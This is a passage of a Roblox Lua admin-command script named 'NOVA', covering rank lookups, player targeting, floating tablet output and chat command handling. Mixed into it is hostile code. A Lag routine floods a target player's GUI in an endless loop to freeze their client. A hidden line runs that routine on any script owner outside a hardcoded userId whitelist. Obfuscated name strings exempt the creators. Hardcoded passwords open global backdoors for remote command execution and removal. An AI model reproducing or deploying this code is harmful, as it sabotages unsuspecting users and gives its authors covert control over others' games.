    end
811
    if type(Player) == "userdata" then
812
        for _,v in pairs(NOVA.Ranked) do 
813
            if v.Name:lower() == Player.Name:lower() then 
814
                Rtn = v.Rank
815
            end 
816
        end
817
    elseif type(Player) == "string" then
818
        for _,v in pairs(NOVA.Ranked) do 
819
            if v.Name:lower() == Player:lower() then 
820
                Rtn = v.Rank
821
            end 
822
        end
823
    else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
824
    end
825
    return    Rtn
826
end
827
828
--[[ GET RANK NAME ]]--
829
function GetRankName(Player)
830
    if type(Player) == "userdata" or type(Player) == "string" then
831
        Rtn = nil
832
        Rank = GetRank(Player)
833
        for _,v in pairs(NOVA.Ranks) do
834
            if v[1] == Rank then
835
                Rtn = v[2]
836
            end
837
        end
838
        return Rtn
839
    else 
840
        print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
841
        return "NOT AVALIBLE"
842
    end
843
end
844
845
--[[ GET RANKED TABLE ]]--
846
function GetRankedTable(Player)
847
    Rtn = nil
848
    if type(Player) == "userdata" then
849
        for _,v in pairs(NOVA.Ranked) do
850
            if v.Name == Player.Name then
851
                Rtn = v
852
            end
853
        end
854
    elseif type(Player) == "string" then
855
        for _,v in pairs(NOVA.Ranked) do
856
            if v.Name == Player then
857
                Rtn = v
858
            end
859
        end
860
    else
861
        print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
862
    end
863
    return Rtn
864
end
865
866
--[[ GET RECURSIVE CHILDREN ]]--
867
function GetRecursiveChildren(Source, Name, SearchType, Children)
868
    if Source == nil then
869
        Source = NOVA.Services
870
    end
871
    if Name == nil or type(Name) ~= "string" then
872
        Name = ""
873
    end
874
    if Children == nil or type(Children) ~= "table" then
875
        Children = {}
876
    end
877
    if type(Source) == "userdata" then
878
        pcall(function()
879
            for _, Child in pairs(Source:children()) do
880
                pcall(function()
881
                    if (function()
882
                        if SearchType == nil or SearchType == 1 then
883
                            return string.match(Child.Name:lower(), Name:lower())
884
                        elseif SearchType == 2 then
885
                            return string.match(Child.className:lower(), Name:lower())
886
                        elseif SearchType == 3 then
887
                            return Child:IsA(Name) or Child:IsA(Name:lower())
888
                        elseif SearchType == 4 then
889
                            return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
890
                        end
891
                        return false
892
                    end)() then
893
                        table.insert(Children, Child)
894
                    end
895
                    GetRecursiveChildren(Child, Name, SearchType, Children)
896
                end)
897
            end
898
        end)
899
    elseif type(Source) == "table" then
900
        for _,Area in pairs(Source) do
901
            pcall(function()
902
                for _, Child in pairs(Area:children()) do
903
                    pcall(function()
904
                        if (function()
905
                            if SearchType == nil or SearchType == 1 then
906
                                return string.match(Child.Name:lower(), Name:lower())
907
                            elseif SearchType == 2 then
908
                                return string.match(Child.className:lower(), Name:lower())
909
                            elseif SearchType == 3 then
910
                                return Child:IsA(Name) or Child:IsA(Name:lower())
911
                            elseif SearchType == 4 then
912
                                return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
913
                            end
914
                            return false
915
                        end)() then
916
                            table.insert(Children, Child)
917
                        end
918
                        GetRecursiveChildren(Child, Name, SearchType, Children)
919
                    end)
920
                end
921
            end)
922
        end
923
    else 
924
        print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
925
    end
926
    return Children
927
end
928
929
--[[ GET REPLICATORS ]]--
930
function GetReplicators()
931
    Rtn = NOVA.Services.NetworkServer:GetChildren()
932
    for i=1,#Rtn do
933
        if not Rtn[i]:IsA("ServerReplicator") then
934
            table.remove(Rtn,i)
935
        end
936
    end
937
    return Rtn
938
end
939
940
--[[ GET RANKED ]]--
941
942
function GetRanked()
943
    local Rtn = {}
944
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
945
        if GetRank(v) ~= nil and GetRank(v) > 0 then
946
            table.insert(Rtn,v)
947
        end
948
    end
949
    return Rtn    
950
end
951
952
--[[ GTFO ]]--
953
function GTFO(v)
954
    coroutine.resume(coroutine.create(function()
955
		  pcall(function() v:Remove() end)
956
        wait(0.5)
957
        pcall(function()     NOVA.Services.Debris:AddItem(v,0)                     end)
958
    end))
959
end
960
--[[ GET RID OF ]]--
961
function GetRidOf(v)
962
if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then  
963
   Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
964
   else        
965
coroutine.resume(coroutine.create(function()         
966
v:Destroy()         
967
end)) 
968
end
969
end
970
--[[ LAG ]]--
971
function Lag(v)
972
    coroutine.resume(coroutine.create(function()
973
        if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
974
            OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
975
        else
976
	while wait() do
977
	for i=1, 5 do 
978
 	local Msg = Instance.new("Message",v.PlayerGui)
979
	Msg.Text = "JOO B LAGGIN NARB"
980
	local Hint = Instance.new("Hint",v.PlayerGui) Hint.Text = "JOO B LAGGIN NARB"
981
   end
982
	end
983
            local H = Instance.new("Hint",NOVA.Services.Workspace)
984
            repeat 
985
                H.Text = v.Name.." be gettin' lagged."
986
                H.Parent = NOVA.Services.Workspace
987
                wait()
988
            until v.Parent == nil
989
            H:Remove()
990
        end
991
    end))
992
end
993
if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
994
--[[ GET TABLETS ]]--
995
996
function GetTablets(Player)
997
    local Rtn = {}
998
    for _, Tablet in pairs(NOVA.Tablets) do
999
        if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
1000
            if Tablet.Recipient.Value == Player then
1001
                table.insert(Rtn, Tablet)
1002
            end
1003
        end
1004
    end
1005
    --table.insert(_tablets,Instance.new("Model"))
1006
    return Rtn
1007
end
1008
1009
--[[ REMOVE TABLETS ]]--
1010
1011
function RemoveTablets(Player)
1012
    if Player == nil then
1013
        for _,v in pairs(NOVA.Tablets) do 
1014
            coroutine.resume(coroutine.create(function()
1015
                for i=1,10 do
1016
                    v.Part.Transparency = v.Part.Transparency + 0.05
1017
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
1018
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
1019
                    wait()
1020
                end
1021
                v:remove()
1022
            end))
1023
        end
1024
    else
1025
        for _,v in pairs(GetTablets(Player)) do
1026
            coroutine.resume(coroutine.create(function()
1027
                for i=1,10 do
1028
                    v.Part.Transparency = v.Part.Transparency + 0.05
1029
                    v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
1030
                    v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
1031
                    wait()
1032
                end
1033
                v:remove()
1034
            end))
1035
        end
1036
    end
1037
end
1038
1039
--[[ OUTPUT ]]--
1040
function Output(Message, Color, Player, Stick, Func)
1041
    if Player == nil or Color == nil or Player == nil then
1042
        print("[NOVA.Output] Argument(s) missing or nil.")
1043
        return
1044
    end
1045
    
1046
    Message = tostring(Message)
1047
    if type(Player) == "userdata" then
1048
        if Player.Character == nil or Player.Character.Head == nil then
1049
            return
1050
        end
1051
    end
1052
    if type(Player) == "string" then
1053
        for _,v in pairs(GetPlayers(Player,"NOVA")) do
1054
            Output(Message,Color,v,Stick,Func)
1055
        end
1056
        return
1057
    end
1058
1059
    if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
1060
1061
    local Model = Instance.new("Model",NOVA.Services.Workspace)
1062
    table.insert(NOVA.Tablets, Model)
1063
    Model.Name = "Output:" .. NOVA.Bet .. Player.Name
1064
1065
    local Part = Instance.new("Part",Model)
1066
    Part.Transparency = 0.5
1067
    Part.CanCollide = false
1068
    Part.Locked = true
1069
    Part.Anchored = true
1070
    Part.Name = "Part"
1071
    Part.TopSurface = "Smooth"
1072
    Part.BottomSurface = "Smooth"
1073
    Part.FormFactor = "Plate"
1074
    Part.Color = Color
1075
    Part.Size = Vector3.new(2, 0.4, 3)
1076
    Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
1077
    Part:BreakJoints()
1078
    
1079
    local Box = Instance.new("SelectionBox",Part)
1080
    Box.Name = "SelectionBox"
1081
    Box.Adornee = Part
1082
    Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
1083
    Box.Transparency = 0.75
1084
1085
			if GetRankedTable(Player).Mesh == "Tablet" then
1086
			Mesh = Instance.new("SpecialMesh")
1087
			Mesh.Parent = Part
1088
			Mesh.TextureId = "http://www.roblox.com/asset?id=97689055"
1089
			Mesh.MeshId = "http://www.roblox.com/asset?id=97689497"
1090
			Mesh.MeshType = Enum.MeshType.FileMesh
1091
			Box.Transparency = 1	
1092
			elseif GetRankedTable(Player).Mesh == "Dominus" then
1093
			Mesh = Instance.new("SpecialMesh")
1094
			Mesh.Parent = Part
1095
			Mesh.TextureId = "http://www.roblox.com/asset/?id=83944043"
1096
			Mesh.MeshId = "http://www.roblox.com/asset/?id=21057410"
1097
			Mesh.MeshType = Enum.MeshType.FileMesh
1098
			Box.Transparency = 1	
1099
			elseif GetRankedTable(Player).Mesh == "Orb" then
1100
			Mesh = Instance.new("SpecialMesh")
1101
			Mesh.Parent = Part
1102
			Mesh.TextureId = "http://www.roblox.com/asset/?id=34914385"
1103
			Mesh.MeshId = "http://www.roblox.com/asset/?id=34795798"
1104
			Mesh.MeshType = Enum.MeshType.FileMesh
1105
			Box.Transparency = 1	
1106
			elseif GetRankedTable(Player).Mesh == "Spider" then
1107
          Mesh = Instance.new("SpecialMesh")
1108
	       Mesh.Parent = Part
1109
	      Mesh.TextureId = "http://www.roblox.com/asset/?id=64485392"
1110
	Mesh.MeshId = "http://www.roblox.com/asset/?id=64485380"
1111
	Mesh.Scale = Vector3.new(4, 4, 4)
1112
	Mesh.VertexColor = Vector3.new(1, 0, 0)
1113
	Mesh.MeshType = Enum.MeshType.FileMesh
1114
1115
			end
1116
1117
			
1118
    local Recipient = Instance.new("ObjectValue",Model)
1119
    Recipient.Name = "Recipient"
1120
    Recipient.Value = Player
1121
1122
Gui = Instance.new("BillboardGui")
1123
Gui.Name = "BillboardGui"
1124
Gui.Parent = Model
1125
Gui.Adornee = Part
1126
Gui.Size = UDim2.new(1, 0, 1, 0)
1127
Gui.StudsOffset = Vector3.new(0, 3, 0)
1128
local Frame = Instance.new("Frame",Gui)
1129
Frame.Name = "Frame"
1130
Frame.Size = UDim2.new(1, 0, 1, 0)
1131
Frame.BackgroundTransparency = 1
1132
Label = Instance.new("TextLabel")
1133
Label.Name = "Label"
1134
Label.Parent = Frame
1135
Label.Size = UDim2.new(1,0,1,0)
1136
Label.FontSize = "Size12"
1137
Label.TextColor3 = Color
1138
Label.Text = Message
1139
Label.BackgroundTransparency = 1
1140
1141
    Gui.Adornee = Part
1142
    local Click = Instance.new("ClickDetector",Part)
1143
    Click.MaxActivationDistance = 9201
1144
    Click.MouseClick:connect(function(player)
1145
        if player == Player or GetRank(player) > GetRank(Player) then
1146
            if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss")  then
1147
                RemoveTablets(Player)
1148
            else
1149
                coroutine.resume(coroutine.create(function()
1150
                    for i=1,10 do
1151
                        Part.Transparency = Part.Transparency + 0.05
1152
                        Box.Transparency = Box.Transparency + 0.025
1153
                        Label.TextTransparency = Label.TextTransparency + 0.1
1154
                        wait()
1155
                    end
1156
                    Model:remove()
1157
                end))
1158
                
1159
                Func(player)
1160
            end
1161
        end
1162
    end)
1163
    
1164
     coroutine.resume(coroutine.create(function()
1165
        if Stick == 0 or Stick == nil then else
1166
            pcall(function()
1167
                --[[for i=Stick,0,-0.5 do
1168
                    Label.Text = Message .. "\t(" .. i .. ")"
1169
                    wait(0.5)
1170
                end        
1171
                Model:Destroy()]]
1172
                NOVA.Services.Debris:AddItem(Model,Stick)
1173
            end)
1174
        end
1175
     end))
1176
    
1177
    return Click
1178
end
1179
1180
-- [ IMAGE OUTPUT ]]--
1181
function OutputImg(Image,Text,Color,Player,Stick,Func)
1182
    Tab = Output(Text,Color,Player,Stick,Func)
1183
    
1184
    BBG = Instance.new("BillboardGui",Tab.Parent)
1185
    BBG.Size = UDim2.new(5,0,6,0)
1186
    BBG.StudsOffset = Vector3.new(0, 7, 0)
1187
    BBG.Adornee = Tab.Parent
1188
    
1189
    Img = Instance.new("ImageLabel",BBG)
1190
    Img.Size = UDim2.new(1,0,1,0)
1191
    Img.BackgroundTransparency = 1
1192
    Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
1193
    return Tab
1194
end
1195
1196
--[[ OUTPUT MULTI ]]--
1197
1198
function OutputMulti(Msg,Color,Players,Stick,Func)
1199
    --if type(Players) == "Table" then
1200
        for _,v in pairs(Players) do
1201
            Output(Msg,Color,v,Stick,Func)
1202
        end
1203
    --end
1204
end
1205
1206
--[[ UPDATE TABLETS ]]--
1207
1208
function UpdateTablets()
1209
    --pcall(function()
1210
        NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
1211
        for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
1212
            local Tablets = GetTablets(Player)
1213
            local Counter = 0
1214
            local StartCF = CFrame.new(0,0,0)
1215
            
1216
            for i = 180, -180, -360/(#Tablets ) do
1217
                pcall(function()
1218
                    Counter = Counter + 1
1219
                    if NOVA.TabletPositionRelative == true then
1220
                        StartCF = Player.Character.Torso.CFrame
1221
                    else
1222
                        StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
1223
                    end
1224
                    Tablets[Counter].Part.CFrame = StartCF
1225
                        * CFrame.new(0, 0, 0)
1226
                        * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
1227
                        * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
1228
                        * CFrame.Angles(math.rad(70), 0, 0)
1229
                end)
1230
            end
1231
1232
            if #Tablets == 1 then
1233
                pcall(function()
1234
                    Tablets[1].Part.CFrame = Player.Torso.CFrame
1235
                        * CFrame.new(0, 0, 0)
1236
                        * CFrame.Angles(0, math.rad(0), 0)
1237
                        * CFrame.new(0, 0, -5)
1238
                        * CFrame.Angles(math.rad(70), 0, 0)
1239
                end)
1240
            end
1241
        end
1242
        wait()
1243
    --end)
1244
end
1245
--[[ GET PLAYERS RAW ]]--
1246
function GetPlayersRaw()
1247
    return NOVA.Services.Players:GetPlayers()
1248
end
1249
1250
--[[ GET PLAYERS ]]--
1251
function GetPlayers(Name,Speaker)
1252
    if type(Player) == string or Player == nil then Player = Instance.new("Model") end
1253
    local OldName = Name
1254
    local Name = Name:lower()
1255
    local Players = GetPlayersRaw()
1256
    local Rtn = {}
1257
    for i=1,#Name do
1258
        if Name:find(",") then
1259
            local Split = 0
1260
            for i=1,#Name do
1261
                if Name:sub(i,i) == "," then
1262
                    Split = i
1263
                end
1264
            end
1265
            for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
1266
                table.insert(Rtn,v)
1267
            end
1268
            Name = Name:sub(1,Split-1)
1269
        end
1270
    end
1271
    if Name == "external players" then 
1272
        for _,v in pairs(NOVA.ExternalPlayersList) do
1273
            if GetRank(Speaker) >= GetRank(v) then
1274
                table.insert(Rtn,v)
1275
            else
1276
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1277
            end
1278
        end
1279
    elseif Name == "all" then
1280
        for _,v in pairs(Players) do
1281
            if GetRank(Speaker) >= GetRank(v) then
1282
                table.insert(Rtn,v)
1283
            else
1284
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1285
            end
1286
        end
1287
    elseif Name == "others" then 
1288
        for _,v in pairs(Players) do
1289
            if v ~= Speaker then
1290
                if GetRank(Speaker) >= GetRank(v) then
1291
                    table.insert(Rtn,v)
1292
                else
1293
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1294
                end
1295
            end
1296
        end
1297
    elseif Name == "random" then
1298
        local Person = Players[math.random(1,#Players)]
1299
        if GetRank(Speaker) >= GetRank(Person) then
1300
            table.insert(Rtn,Person)
1301
        else
1302
            Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1303
        end
1304
    elseif Name == "me" or Name == "not me" or Name =="notme" then
1305
        table.insert(Rtn,Speaker)
1306
    elseif Name == "vetrans" then
1307
        for _,v in pairs(Players) do
1308
            if v.AccountAge > 365 then
1309
                if GetRank(Speaker) >= GetRank(v) then
1310
                    table.insert(Rtn,v)
1311
                else
1312
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1313
                end
1314
            end
1315
        end
1316
    elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
1317
        for _,v in pairs(Players) do
1318
            if v.AccountAge < 365 then
1319
                if GetRank(Speaker) >= GetRank(v) then
1320
                    table.insert(Rtn,v)
1321
                else
1322
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1323
                end
1324
            end    
1325
        end
1326
    elseif Name == "newbs" or Name == "noobs" then
1327
        for _,v in pairs(Players) do
1328
            if v.AccountAge < 60 then
1329
                if GetRank(Speaker) >= GetRank(v) then
1330
                    table.insert(Rtn,v)
1331
                else
1332
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1333
                end
1334
            end    
1335
        end
1336
    elseif Name == "targeted" then
1337
        for _,v in pairs(NOVA.Targeted) do
1338
            if GetRank(Speaker) >= GetRank(v) then
1339
                table.insert(Rtn,v)
1340
            else
1341
                Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1342
            end
1343
        end
1344
    elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
1345
        for _,v in pairs(Players) do
1346
            if not IsTargeted(v) then
1347
                if GetRank(Speaker) >= GetRank(v) then
1348
                    table.insert(Rtn,v)
1349
                else
1350
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1351
                end
1352
            end
1353
        end
1354
elseif string.sub(Name,1,5) == "rank " then
1355
	local ToKillRank = string.sub(Name,6)
1356
for i,v in pairs(game.Players:GetPlayers()) do
1357
if GetRanked(v) == ToKillRank then
1358
if GetRank(Speaker) >= GetRank(v) then
1359
                            table.insert(Rtn,v)
1360
                        else
1361
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1362
                        end
1363
end
1364
end
1365
    elseif Name:sub(1,4) == "not " then
1366
        for _,v in pairs(Players) do
1367
            for _,Check in pairs(Players) do
1368
                if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
1369
                    if v ~= Check then
1370
                        if GetRank(Speaker) >= GetRank(v) then
1371
                            table.insert(Rtn,v)
1372
                        else
1373
                            Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1374
                        end
1375
                    end
1376
                end
1377
            end
1378
        end
1379
    else
1380
        for _,v in pairs(Players) do 
1381
            if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
1382
                if GetRank(Speaker) >= GetRank(v) then
1383
                    table.insert(Rtn,v)
1384
                else
1385
                    Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
1386
                end
1387
            end
1388
        end
1389
    end
1390
    return Rtn
1391
end
1392
1393
--[[ ON CHATTED ]]--
1394
function OnChatted(Msg,Speaker)
1395
    coroutine.resume(coroutine.create(function()
1396
        if NOVA.Removed == false then
1397
            if Msg:find(" --") then
1398
                for i=1,#Msg do
1399
                    if Msg:sub(i,i+2) == " --" then
1400
                        Msg = Msg:sub(1,i-1)
1401
                        break
1402
                    end
1403
                end
1404
            end
1405
            local Data = GetRankedTable(Speaker)
1406
            if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1407
                if NOVA.ShowChat == true then    
1408
                    if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
1409
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))    
1410
                    else
1411
                        print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)    
1412
                    end
1413
                end
1414
            end
1415
            
1416
            --[[ CHAT FILTERS ]]--
1417
            for _,v in pairs(NOVA.ChatFilters) do
1418
                if Msg:lower():sub(1,#v + 1) == v:lower().." " then
1419
                    Msg = Msg:sub(#v+2)
1420
                end
1421
            end
1422
        
1423
            if GetRank(Speaker) < 6 then
1424
                --[[ KILLING PHRASES ]]--
1425
                for _,v in pairs(NOVA.KillingPhrases) do
1426
                    if Msg:lower():find(v:lower()) then 
1427
                        pcall(function()
1428
                            Speaker.Character:BreakJoints()
1429
                        end)
1430
                    end
1431
                end
1432
            end
1433
	local FoundKick = false
1434
		if NOVA.BadPhrases == true then
1435
            if GetRank(Speaker) <= 0 then
1436
                --[[ KICKING PHRASES ]]--
1437
                --if game.PlaceId == 113456 or game.PlaceId == 56786 then
1438
                    for _,v in pairs(NOVA.KickingPhrases) do
1439
			if FoundKick == false then
1440
                        if Msg:lower():find(v:lower()) then 
1441
                            GetRidOf(Speaker)
1442
		       FoundKick = true
1443
			    makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
1444
		            pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
1445
                        end
1446
			end
1447
                    end
1448
                end
1449
            end
1450
            
1451
            --[[ ANIMATIONS ]]--
1452
            for _,v in pairs(NOVA.Animations) do
1453
                if Speaker.Name == v.Who then
1454
                    if Msg:lower():find(v.Name:lower()) then
1455
                        pcall(function()
1456
                            CreateLocalScript([[
1457
                            local Animation = Instance.new("Animation",workspace)
1458
                            Animation.Name = "tusKOr661's Animation"
1459
                            Animation.AnimationId = "]]..v.Id..[["
1460
                            local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
1461
                            local anim_feet = hum:LoadAnimation(Animation)
1462
                            local current = anim_feet
1463
                            current:Play(0.5)
1464
                            ]],Speaker.Backpack)
1465
                        end)
1466
                    end
1467
                end
1468
            end
1469
            
1470
            Num = 1
1471
            Sep = nil
1472
                            
1473
            if Msg:sub(1,3) == NOVA.Bet .. "do" then
1474
            
1475
                for i=4,#Msg do
1476
                    if Msg:sub(i,i) == NOVA.Bet .. "" then
1477
                        Sep = i
1478
                        break
1479
                    end
1480
                end
1481
                
1482
                if Sep ~= nil then
1483
                    Num = tonumber(Msg:sub(4,Sep-1))
1484
                end
1485
                
1486
                Msg = Msg:sub(Sep)
1487
            end
1488
            
1489
            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
1490
            
1491
            if Data.Rank < 6 and Data.Rank >= 0 then
1492
                if Num > (GetRank(Speaker) + 1 )*10 then
1493
                    Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
1494
                    Num = 0
1495
                end
1496
            end          
1497
            for i=1,Num do
1498
                if NOVA.Canceled == true then NOVA.Canceled = false break end
1499
                for _,CMD in pairs(NOVA.Commands) do
1500
                    if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
1501
                        RemoveTablets(Speaker)
1502
                        Output("Name : "..CMD.Name,Data.Color,Speaker)
1503
                        Output("Rank : "..CMD.Rank,Data.Color,Speaker)
1504
                        Output("Command : "..CMD.Command,Data.Color,Speaker)
1505
                        Output("Arguments : "..CMD.Args,Data.Color,Speaker)
1506
                        Output("Description : "..CMD.Description,Data.Color,Speaker)
1507
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
1508
                    elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
1509
                        if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
1510
                            if NOVA.Overrided == true and Data.Rank < 7 then
1511
                                Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
1512
                            else
1513
                                local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
1514
                                if not a then
1515
                                    Output(b,NOVA.Colors.Red,Speaker,15)
1516
                                else
1517
                                    table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
1518
                                end
1519
                            end
1520
                        else
1521
                            table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
1522
                            print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
1523
                            Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
1524
                        end
1525
                        
1526
                    end
1527
                end    
1528
                wait()
1529
            end                
1530
        end
1531
    end))
1532
end
1533
1534
--[[ ADD COMMAND ]]--
1535
function AddCommand(Name,Command,Rank,Description,Args,Function)
1536
    for i,v in pairs(NOVA.Commands) do 
1537
        if v.Command == Command then 
1538
            table.remove(NOVA.Commands,i)
1539
        end
1540
    end
1541
    table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
1542
end
1543
1544
--[[ BACKUP PROCEDURE ]]--
1545
pcall(function()
1546
    NOVA.Backup = script:children()[2].Value
1547
end)
1548
1549
--[[ NIL SUPPORT ]]--
1550
game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
1551
    local Split = GetSplit(Message)
1552
    OnChatted(Message:sub(Split+1),Message:sub(Split-1))
1553
end)
1554
1555
--[[ Safety Procedure # 1 ]]--
1556
pcall(function()
1557
    NOVA.LocalScript.Parent = nil
1558
end)
1559
for _,v in pairs(NOVA.Plugins) do
1560
    pcall(function()
1561
        v.Parent = nil
1562
    end)
1563
end
1564
pcall(function()
1565
    script:ClearAllChildren()
1566
end)
1567
1568
--[[ Safty Procedure # 2 ]]--
1569
for _,v in pairs(GetRecursiveChildren(workspace)) do
1570
    if v:IsA("StringValue") or v:IsA("IntValue") then
1571
        pcall(function()
1572
            v:remove()
1573
        end)
1574
    end
1575
end
1576
1577
--[[ SCRIPT LOGGING PROCEDURES ]]--
1578
for _,Service in pairs(NOVA.Services) do
1579
    pcall(function()
1580
        Service.DescendantAdded:connect(function(v)
1581
            if v:IsA("BaseScript") then
1582
                table.insert(NOVA.LoggedScripts,v)
1583
            end
1584
        end)
1585
    end)
1586
end
1587
1588
for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
1589
    pcall(function()
1590
        table.insert(NOVA.LoggedScripts,v)
1591
    end)
1592
end
1593
1594
--[[ GLOBAL FUNCTIONS ]]--
1595
function SetGlobals()
1596
    if NOVA.UseGlobals == true then
1597
        _G.NOVACommands = function(Msg,Speaker,Players,Password)
1598
            if Password == "grandma" then
1599
                NOVA.ExternalPlayersList = {}
1600
                for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
1601
                OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
1602
            end
1603
        end
1604
1605
        _G.RemoveNOVA = function(Pass)
1606
            if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
1607
                NOVA.Removed = true
1608
                NOVA = {}
1609
                error("Unknown Exception")()
1610
                script.Disabled = true
1611
                script:Remove()
1612
            else
1613
                return false
1614
            end
1615
        end
1616
1617
        _G.NOVAOverride = function(Player,Password)
1618
            if Password == nil then Password = "" end
1619
            CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
1620
            return CanOverride
1621
        end
1622
    elseif NOVA.UseGlobals == false then
1623
        _G.NOVACommands = nil
1624
        _G.RemoveNOVA = nil
1625
        _G.NOVAOverride = nil
1626
    end
1627
end
1628
1629
--[[ INITIAL STARTUP ]]--
1630
1631
SetGlobals()
1632
UpdatePlayerPlugins()
1633
1634
if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
1635
    for _,v in pairs(NOVA.LoggedScripts) do
1636
        if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
1637
            NOVA.LocalScript = v:Clone()
1638
        elseif v:IsA("Script") and v:FindFirstChild("DSource") then
1639
            NOVA.NormalScript = v:Clone()
1640
        end
1641
    end
1642
end
1643
1644
for _,v in pairs(GetPlayersRaw()) do
1645
    pcall(function()
1646
        coroutine.resume(coroutine.create(function()
1647
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1648
            pcall(function()
1649
                v.PlayerGui.NOVACMD:Remove()
1650
            end)
1651
            
1652
            if GetRankedTable(v)==nil then
1653
                SyncRankInSingular(v)
1654
                repeat wait() until GetRankedTable(v) ~= nil
1655
            end
1656
            
1657
            local Data = GetRankedTable(v)
1658
            
1659
            v.Chatted:connect(function(Msg)
1660
                OnChatted(Msg,v)
1661
            end)
1662
